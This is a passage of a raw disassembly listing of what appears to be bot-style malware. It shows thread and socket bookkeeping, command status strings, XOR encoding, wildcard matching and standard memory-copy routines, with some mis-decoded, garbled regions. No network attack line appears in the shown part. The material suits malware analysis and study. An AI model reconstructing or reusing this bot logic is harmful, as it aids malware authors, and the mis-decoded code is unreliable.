0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx cmp byte ptr [ebp+arg_C], 0Ah jz short loc_414E8E cmp byte ptr [ebp+arg_C], 0Dh jz short loc_414E8E cmp byte ptr [ebp+arg_C], 5Ch jz short loc_414E8E cmp byte ptr [ebp+arg_C], 0 jnz short loc_414E91 loc_414E8E: ; CODE XREF: sub_414E72+8j ; sub_414E72+Ej ... inc [ebp+arg_C] loc_414E91: ; CODE XREF: sub_414E72+1Aj push esi mov esi, 0FFh cmp [ebp+arg_C], esi jbe short loc_414EB9 mov eax, [ebp+arg_C] shr eax, 8 cmp al, 0Ah jz short loc_414EB2 cmp al, 0Dh jz short loc_414EB2 cmp al, 5Ch jz short loc_414EB2 test al, al jnz short loc_414EB9 loc_414EB2: ; CODE XREF: sub_414E72+32j ; sub_414E72+36j ... add [ebp+arg_C], 100h loc_414EB9: ; CODE XREF: sub_414E72+28j ; sub_414E72+3Ej push [ebp+arg_C] call sub_414E57 cmp eax, [ebp+arg_4] pop ecx mov [ebp+var_4], eax ja short loc_414ED1 cmp eax, 0FFFFh jbe short loc_414ED8 loc_414ED1: ; CODE XREF: sub_414E72+56j xor eax, eax jmp loc_414F76 ; --------------------------------------------------------------------------- loc_414ED8: ; CODE XREF: sub_414E72+5Dj mov ecx, [ebp+arg_C] push ebx mov bl, ds:byte_469448 xor edx, edx push edi mov edi, [ebp+arg_8] test ecx, ecx jbe short loc_414F08 loc_414EEC: ; CODE XREF: sub_414E72+94j mov al, [edx+edi] xor al, bl jz short loc_414EFF cmp al, 0Ah jz short loc_414EFF cmp al, 0Dh jz short loc_414EFF cmp al, 5Ch jnz short loc_414F03 loc_414EFF: ; CODE XREF: sub_414E72+7Fj ; sub_414E72+83j ... inc bl xor edx, edx loc_414F03: ; CODE XREF: sub_414E72+8Bj inc edx cmp edx, ecx jb short loc_414EEC loc_414F08: ; CODE XREF: sub_414E72+78j cmp ecx, esi mov ds:byte_469448, bl ja short loc_414F34 push 15h push offset loc_437BDC push [ebp+arg_0] mov ds:byte_437BE9, cl mov ds:byte_437BED, bl call sub_4155B0 add esp, 0Ch push 15h jmp short loc_414F55 ; --------------------------------------------------------------------------- loc_414F34: ; CODE XREF: sub_414E72+9Ej push 17h push offset loc_437BC4 push [ebp+arg_0] mov ds:word_437BD2, cx mov ds:byte_437BD7, bl call sub_4155B0 add esp, 0Ch push 17h loc_414F55: ; CODE XREF: sub_414E72+C0j xor eax, eax pop ecx cmp [ebp+arg_C], eax jbe short loc_414F71 mov edx, [ebp+arg_0] lea esi, [ecx+edx] loc_414F63: ; CODE XREF: sub_414E72+FDj mov cl, [eax+edi] xor cl, bl mov [esi+eax], cl inc eax cmp eax, [ebp+arg_C] jb short loc_414F63 loc_414F71: ; CODE XREF: sub_414E72+E9j mov eax, [ebp+var_4] pop edi pop ebx loc_414F76: ; CODE XREF: sub_414E72+61j pop esi leave retn sub_414E72 endp ; =============== S U B R O U T I N E ======================================= sub_414F79 proc near ; CODE XREF: sub_4060E4+220p ; seg000:00407576p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_43F308 loc_414F81: ; CODE XREF: sub_414F79+18j cmp byte ptr [eax], 0 jz short loc_414F95 add eax, 234h inc edi cmp eax, offset dword_4687F8 jl short loc_414F81 jmp short loc_414FE0 ; --------------------------------------------------------------------------- loc_414F95: ; CODE XREF: sub_414F79+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_43F308[esi] push eax call sub_416D20 mov eax, [esp+14h+arg_4] add esp, 0Ch mov ds:dword_43F508[esi], eax and ds:dword_43F50C[esi], 0 mov eax, [esp+8+arg_8] and ds:dword_43F510[esi], 0 mov ds:dword_43F514[esi], eax and ds:byte_43F520[esi], 0 pop esi loc_414FE0: ; CODE XREF: sub_414F79+1Aj mov eax, edi pop edi retn sub_414F79 endp ; --------------------------------------------------------------------------- dword_414FE4 dd 81EC8B55h, 98ECh, 8458B00h, 266A5756h, 8DF08B59h, 0FFFF68BDh ; DATA XREF: seg000:0041246Co dd 0FFA5F3FFh, 80C7F075h, 94h, 1, 0FF6C858Dh, 75FFFFFFh dd 0B5FF50F4h, 0FFFFFF68h, 15E8h, 0EC75FF00h, 26CE8h, 14C48300h dd 0CDE8006Ah, 80FFFBAFh, 8B555E5Fh, 0EC81ECh, 56000002h dd 0FF006A57h, 0B8681075h, 0FF00437Ch, 75FF0C75h, 0DCDCE808h dd 0C483FFFFh, 0BEFF3314h, 43F308h, 74003E80h, 147D833Ch dd 83097500h, 204BEh, 2D750000h, 858D5756h, 0FFFFFE00h dd 435C7C68h, 46E85000h, 6A000004h, 858D01h, 0FFFFFFFEh dd 0FF501075h, 75FF0C75h, 0DC94E808h, 0C483FFFFh, 34C68124h dd 47000002h, 87F8FE81h, 0B07C0046h, 0C3C95E5Fh ; =============== S U B R O U T I N E ======================================= sub_4150B4 proc near ; CODE XREF: seg000:0041184Dp ; sub_415142+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_41513C cmp esi, 12Ch jge short loc_41513C imul esi, 234h push edi push ebx push ds:dword_43F51C[esi] lea edi, dword_43F51C[esi] call near ptr 3D0000h jb short near ptr loc_41511B+4 pop ds jz short loc_4150EC push 1 pop ebp loc_4150EC: ; CODE XREF: sub_4150B4+33j mov [edi], ebx lea edi, dword_43F510[esi] mov ds:dword_43F508[esi], ebx mov ds:dword_43F50C[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_41510D push eax call sub_414047 pop ecx loc_41510D: ; CODE XREF: sub_4150B4+50j mov [edi], ebx lea edi, dword_43F514[esi] mov byte ptr ds:dword_43F308[esi], bl loc_41511B: ; CODE XREF: sub_4150B4+30j mov ds:byte_43F520[esi], bl push dword ptr [edi] call ds:dword_43A410 ; closesocket lea esi, dword_43F518[esi] mov [edi], ebx push dword ptr [esi] call ds:dword_43A410 ; closesocket mov [esi], ebx pop edi loc_41513C: ; CODE XREF: sub_4150B4+Dj ; sub_4150B4+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_4150B4 endp ; =============== S U B R O U T I N E ======================================= sub_415142 proc near ; CODE XREF: sub_409DF9:loc_409E1Dp ; seg000:0040C596p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_43F308 loc_41514E: ; CODE XREF: sub_415142+2Aj cmp byte ptr [esi], 0 jz short loc_41515F push edi call sub_4150B4 test eax, eax pop ecx jz short loc_41515F inc ebx loc_41515F: ; CODE XREF: sub_415142+Fj ; sub_415142+1Aj add esi, 234h inc edi cmp esi, offset dword_4687F8 jl short loc_41514E pop edi mov eax, ebx pop esi pop ebx retn sub_415142 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415174 proc near ; CODE XREF: seg000:0040EB02p ; seg000:0040EB70p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_43F50C loc_415188: ; CODE XREF: sub_415174+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_4151AA test edi, edi jle short loc_41519C cmp [esi], edi jz short loc_41519C cmp ebx, edi jnz short loc_4151AA loc_41519C: ; CODE XREF: sub_415174+1Ej ; sub_415174+22j push ebx call sub_4150B4 test eax, eax pop ecx jz short loc_4151AA inc [ebp+var_4] loc_4151AA: ; CODE XREF: sub_415174+1Aj ; sub_415174+26j ... add esi, 234h inc ebx cmp esi, offset dword_4689FC jl short loc_415188 mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_415174 endp ; =============== S U B R O U T I N E ======================================= sub_4151C1 proc near ; CODE XREF: sub_4071E3+Bp ; seg000:00407287p ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_43F508 loc_4151C8: ; CODE XREF: sub_4151C1+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_4151D1 inc eax loc_4151D1: ; CODE XREF: sub_4151C1+Dj add ecx, 234h cmp ecx, offset dword_4689F8 jl short loc_4151C8 retn sub_4151C1 endp ; =============== S U B R O U T I N E ======================================= sub_4151E0 proc near ; CODE XREF: seg000:00411F26p arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_43F508 loc_4151EA: ; CODE XREF: sub_4151E0+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_415203 add ecx, 234h inc edx cmp ecx, offset dword_4689F8 jl short loc_4151EA pop esi retn ; --------------------------------------------------------------------------- loc_415203: ; CODE XREF: sub_4151E0+10j mov eax, edx pop esi retn sub_4151E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415207 proc near ; CODE XREF: seg000:0040DE9Bp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_415220 push [ebp+arg_1C] call sub_415A3F pop ecx loc_415220: ; CODE XREF: sub_415207+Ej push eax push [ebp+arg_18] call sub_415174 pop ecx test eax, eax pop ecx jle short loc_41524C push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s) stopped.)"... push eax call sub_4154CD add esp, 14h jmp short loc_415266 ; --------------------------------------------------------------------------- loc_41524C: ; CODE XREF: sub_415207+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s: No %s thread found." push eax call sub_4154CD add esp, 10h loc_415266: ; CODE XREF: sub_415207+43j cmp [ebp+arg_C], 0 jnz short loc_415286 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D32 add esp, 14h loc_415286: ; CODE XREF: sub_415207+63j lea eax, [ebp+var_200] push eax call sub_40B151 pop ecx leave retn sub_415207 endp ; =============== S U B R O U T I N E ======================================= sub_415295 proc near ; CODE XREF: start+A2p ; seg000:004014D4p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov ds:dword_43F51C[eax], ecx mov ds:dword_43F508[eax], ecx mov ds:dword_43F50C[eax], ecx mov ds:dword_43F510[eax], ecx mov ds:dword_43F514[eax], ecx mov ds:dword_43F518[eax], ecx mov byte ptr ds:dword_43F308[eax], cl mov ds:byte_43F520[eax], cl retn sub_415295 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4152D2 proc near ; CODE XREF: seg000:00412A31p ; sub_415400+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_4152DC: ; CODE XREF: sub_4152D2+68j mov cl, [esi] test cl, cl jz short loc_41533C cmp eax, 1 jnz short loc_41533C mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_41533C cmp cl, 2Ah jz short loc_415323 cmp cl, 3Fh jz short loc_415306 cmp cl, 5Bh jz short loc_41530B xor eax, eax cmp cl, dl setz al loc_415306: ; CODE XREF: sub_4152D2+26j inc [ebp+arg_4] jmp short loc_415336 ; --------------------------------------------------------------------------- loc_41530B: ; CODE XREF: sub_4152D2+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_415368 mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_415336 ; --------------------------------------------------------------------------- loc_415323: ; CODE XREF: sub_4152D2+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_415400 mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_415336: ; CODE XREF: sub_4152D2+37j ; sub_4152D2+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_4152DC ; --------------------------------------------------------------------------- loc_41533C: ; CODE XREF: sub_4152D2+Ej ; sub_4152D2+13j ... cmp byte ptr [esi], 2Ah jnz short loc_41534C cmp eax, 1 jnz short loc_415363 inc esi mov [ebp+arg_0], esi jmp short loc_41533C ; --------------------------------------------------------------------------- loc_41534C: ; CODE XREF: sub_4152D2+6Dj cmp eax, 1 jnz short loc_415363 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_415363 cmp byte ptr [esi], 0 jnz short loc_415363 push 1 pop eax jmp short loc_415365 ; --------------------------------------------------------------------------- loc_415363: ; CODE XREF: sub_4152D2+72j ; sub_4152D2+7Dj ... xor eax, eax loc_415365: ; CODE XREF: sub_4152D2+8Fj pop esi pop ebp retn sub_4152D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415368 proc near ; CODE XREF: sub_4152D2+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_415389 inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_415389: ; CODE XREF: sub_415368+19j push ebx push esi loc_41538B: ; CODE XREF: sub_415368+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_415399 cmp [ebp+var_4], eax jnz short loc_4153E5 loc_415399: ; CODE XREF: sub_415368+2Aj test edi, edi jnz short loc_4153DA cmp bl, 2Dh jnz short loc_4153CE mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_4153CE cmp al, 5Dh jz short loc_4153CE cmp [ebp+var_4], edi jnz short loc_4153CE mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_4153DA cmp bl, al jg short loc_4153DA push 1 mov [edx], esi pop edi jmp short loc_4153DA ; --------------------------------------------------------------------------- loc_4153CE: ; CODE XREF: sub_415368+38j ; sub_415368+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_4153DA push 1 pop edi loc_4153DA: ; CODE XREF: sub_415368+33j ; sub_415368+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_41538B ; --------------------------------------------------------------------------- loc_4153E5: ; CODE XREF: sub_415368+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_4153F2 mov ecx, eax sub ecx, edi mov edi, ecx loc_4153F2: ; CODE XREF: sub_415368+82j cmp edi, eax jnz short loc_4153FB mov eax, [ebp+arg_4] inc dword ptr [eax] loc_4153FB: ; CODE XREF: sub_415368+8Cj mov eax, edi pop edi leave retn sub_415368 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415400 proc near ; CODE XREF: sub_4152D2+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_41541C: ; CODE XREF: sub_415400+3Aj cmp [eax], bl jz short loc_41543C mov cl, [ecx] cmp cl, 3Fh jz short loc_415431 cmp cl, 2Ah jnz short loc_41543C cmp cl, 3Fh jnz short loc_415434 loc_415431: ; CODE XREF: sub_415400+25j inc eax mov [edi], eax loc_415434: ; CODE XREF: sub_415400+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_41541C ; --------------------------------------------------------------------------- loc_41543C: ; CODE XREF: sub_415400+1Ej ; sub_415400+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_415447 inc dword ptr [esi] jmp short loc_41543C ; --------------------------------------------------------------------------- loc_415447: ; CODE XREF: sub_415400+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_415468 mov edx, [esi] cmp [edx], bl jz short loc_415459 xor eax, eax jmp short loc_4154C8 ; --------------------------------------------------------------------------- loc_415459: ; CODE XREF: sub_415400+53j cmp cl, bl jnz short loc_415468 mov ecx, [esi] cmp [ecx], bl jnz short loc_415468 push 1 pop eax jmp short loc_4154C8 ; --------------------------------------------------------------------------- loc_415468: ; CODE XREF: sub_415400+4Dj ; sub_415400+5Bj ... push eax push dword ptr [esi] call sub_4152D2 pop ecx test eax, eax pop ecx jnz short loc_4154B2 loc_415476: ; CODE XREF: sub_415400+B0j inc dword ptr [edi] mov eax, [edi] loc_41547A: ; CODE XREF: sub_415400+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_415492 cmp cl, 5Bh jz short loc_415492 cmp dl, bl jz short loc_415492 inc eax mov [edi], eax jmp short loc_41547A ; --------------------------------------------------------------------------- loc_415492: ; CODE XREF: sub_415400+82j ; sub_415400+87j ... mov eax, [edi] cmp [eax], bl jz short loc_4154A9 push eax push dword ptr [esi] call sub_4152D2 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_4154AE ; --------------------------------------------------------------------------- loc_4154A9: ; CODE XREF: sub_415400+96j mov [ebp+var_4], ebx xor eax, eax loc_4154AE: ; CODE XREF: sub_415400+A7j cmp eax, ebx jnz short loc_415476 loc_4154B2: ; CODE XREF: sub_415400+74j mov eax, [edi] cmp [eax], bl jnz short loc_4154C5 mov eax, [esi] cmp [eax], bl jnz short loc_4154C5 mov [ebp+var_4], 1 loc_4154C5: ; CODE XREF: sub_415400+B6j ; sub_415400+BCj mov eax, [ebp+var_4] loc_4154C8: ; CODE XREF: sub_415400+57j ; sub_415400+66j pop edi pop esi pop ebx leave retn sub_415400 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4154CD proc near ; CODE XREF: start+61p ; seg000:004013BAp ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_417D2C add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41550D mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41551A ; --------------------------------------------------------------------------- loc_41550D: ; CODE XREF: sub_4154CD+36j lea eax, [ebp+var_20] push eax push 0 call sub_417C17 pop ecx pop ecx loc_41551A: ; CODE XREF: sub_4154CD+3Ej mov eax, esi pop esi leave retn sub_4154CD endp ; =============== S U B R O U T I N E ======================================= sub_41551F proc near ; CODE XREF: start+2Ep sub_401BD6+46p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ds:dword_437D08, eax retn sub_41551F endp ; =============== S U B R O U T I N E ======================================= sub_415529 proc near ; CODE XREF: seg000:0040117Dp ; seg000:004011F1p ... mov eax, ds:dword_437D08 imul eax, 343FDh add eax, 269EC3h mov ds:dword_437D08, eax sar eax, 10h and eax, 7FFFh retn sub_415529 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_415550 proc near ; CODE XREF: seg000:00401333p ; seg000:0040194Fp ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_4155A3 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_415597 neg ecx and ecx, 3 jz short loc_415579 sub edx, ecx loc_415573: ; CODE XREF: sub_415550+27j mov [edi], al inc edi dec ecx jnz short loc_415573 loc_415579: ; CODE XREF: sub_415550+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_415597 rep stosd test edx, edx jz short loc_41559D loc_415597: ; CODE XREF: sub_415550+18j ; sub_415550+3Fj ... mov [edi], al inc edi dec edx jnz short loc_415597 loc_41559D: ; CODE XREF: sub_415550+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_4155A3: ; CODE XREF: sub_415550+Aj mov eax, [esp+arg_0] retn sub_415550 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4155B0 proc near ; CODE XREF: seg000:004012DFp ; seg000:004012F0p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_4155D0 cmp edi, eax jb loc_415748 loc_4155D0: ; CODE XREF: sub_4155B0+16j test edi, 3 jnz short loc_4155EC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41560C rep movsd jmp ds:off_4156F8[edx*4] ; --------------------------------------------------------------------------- loc_4155EC: ; CODE XREF: sub_4155B0+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_415604 and eax, 3 add ecx, eax jmp dword ptr ds:loc_41560C+4[eax*4] ; --------------------------------------------------------------------------- loc_415604: ; CODE XREF: sub_4155B0+46j jmp dword ptr ds:loc_415708[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41560C: ; CODE XREF: sub_4155B0+31j ; sub_4155B0+8Ej ... jmp ds:off_41568C[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_415620 dd offset loc_41564C dd offset loc_415670 ; --------------------------------------------------------------------------- loc_415620: ; DATA XREF: sub_4155B0+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41560C rep movsd jmp ds:off_4156F8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41564C: ; DATA XREF: sub_4155B0+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41560C rep movsd jmp ds:off_4156F8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_415670: ; DATA XREF: sub_4155B0+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41560C rep movsd jmp ds:off_4156F8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41568C dd offset loc_4156EF ; DATA XREF: sub_4155B0:loc_41560Cr dd offset loc_4156DC dd offset loc_4156D4 dd offset loc_4156CC dd offset loc_4156C4 dd offset loc_4156BC dd offset loc_4156B4 dd offset loc_4156AC ; --------------------------------------------------------------------------- loc_4156AC: ; CODE XREF: sub_4155B0:loc_41560Cj ; DATA XREF: sub_4155B0+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_4156B4: ; CODE XREF: sub_4155B0:loc_41560Cj ; DATA XREF: sub_4155B0+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_4156BC: ; CODE XREF: sub_4155B0:loc_41560Cj ; DATA XREF: sub_4155B0+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_4156C4: ; CODE XREF: sub_4155B0:loc_41560Cj ; DATA XREF: sub_4155B0+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_4156CC: ; CODE XREF: sub_4155B0:loc_41560Cj ; DATA XREF: sub_4155B0+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_4156D4: ; CODE XREF: sub_4155B0:loc_41560Cj ; DATA XREF: sub_4155B0+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_4156DC: ; CODE XREF: sub_4155B0:loc_41560Cj ; DATA XREF: sub_4155B0+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_4156EF: ; CODE XREF: sub_4155B0:loc_41560Cj ; DATA XREF: sub_4155B0:off_41568Co jmp ds:off_4156F8[edx*4] ; --------------------------------------------------------------------------- align 4 off_4156F8 dd offset loc_415708 ; DATA XREF: sub_4155B0+35r ; sub_4155B0+92r ... dd offset loc_415710 dd offset loc_41571C dd offset loc_415730 ; --------------------------------------------------------------------------- loc_415708: ; CODE XREF: sub_4155B0+35j ; sub_4155B0+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_415710: ; CODE XREF: sub_4155B0+35j ; sub_4155B0+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41571C: ; CODE XREF: sub_4155B0+35j ; sub_4155B0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_415730: ; CODE XREF: sub_4155B0+35j ; sub_4155B0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_415748: ; CODE XREF: sub_4155B0+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41577C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_415770 std rep movsd cld jmp ds:off_415890[edx*4] ; --------------------------------------------------------------------------- align 10h loc_415770: ; CODE XREF: sub_4155B0+1B1j ; sub_4155B0+208j ... neg ecx jmp ds:off_415840[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41577C: ; CODE XREF: sub_4155B0+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_415794 and eax, 3 sub ecx, eax jmp dword ptr ds:loc_415794+4[eax*4] ; --------------------------------------------------------------------------- loc_415794: ; CODE XREF: sub_4155B0+1D6j ; DATA XREF: sub_4155B0+1DDr jmp ds:off_415890[ecx*4] ; --------------------------------------------------------------------------- align 4 test al, 57h inc ecx add al, cl push edi inc ecx add al, dh push edi inc ecx add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_415770 std rep movsd cld jmp ds:off_415890[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_415770 std rep movsd cld jmp ds:off_415890[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_415770 std rep movsd cld jmp ds:off_415890[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_415844 dd offset loc_41584C dd offset loc_415854 dd offset loc_41585C dd offset loc_415864 dd offset loc_41586C dd offset loc_415874 off_415840 dd offset loc_415887 ; DATA XREF: sub_4155B0+1C2r ; --------------------------------------------------------------------------- loc_415844: ; DATA XREF: sub_4155B0+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41584C: ; DATA XREF: sub_4155B0+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_415854: ; DATA XREF: sub_4155B0+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41585C: ; DATA XREF: sub_4155B0+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_415864: ; DATA XREF: sub_4155B0+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41586C: ; DATA XREF: sub_4155B0+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_415874: ; DATA XREF: sub_4155B0+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_415887: ; CODE XREF: sub_4155B0+1C2j ; DATA XREF: sub_4155B0:off_415840o jmp ds:off_415890[edx*4] ; --------------------------------------------------------------------------- align 10h off_415890 dd offset loc_4158A0 ; DATA XREF: sub_4155B0+1B7r ; sub_4155B0:loc_415794r ... dd offset loc_4158A8 dd offset loc_4158B8 dd offset loc_4158CC ; --------------------------------------------------------------------------- loc_4158A0: ; CODE XREF: sub_4155B0+1B7j ; sub_4155B0:loc_415794j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4158A8: ; CODE XREF: sub_4155B0+1B7j ; sub_4155B0:loc_415794j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4158B8: ; CODE XREF: sub_4155B0+1B7j ; sub_4155B0:loc_415794j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, 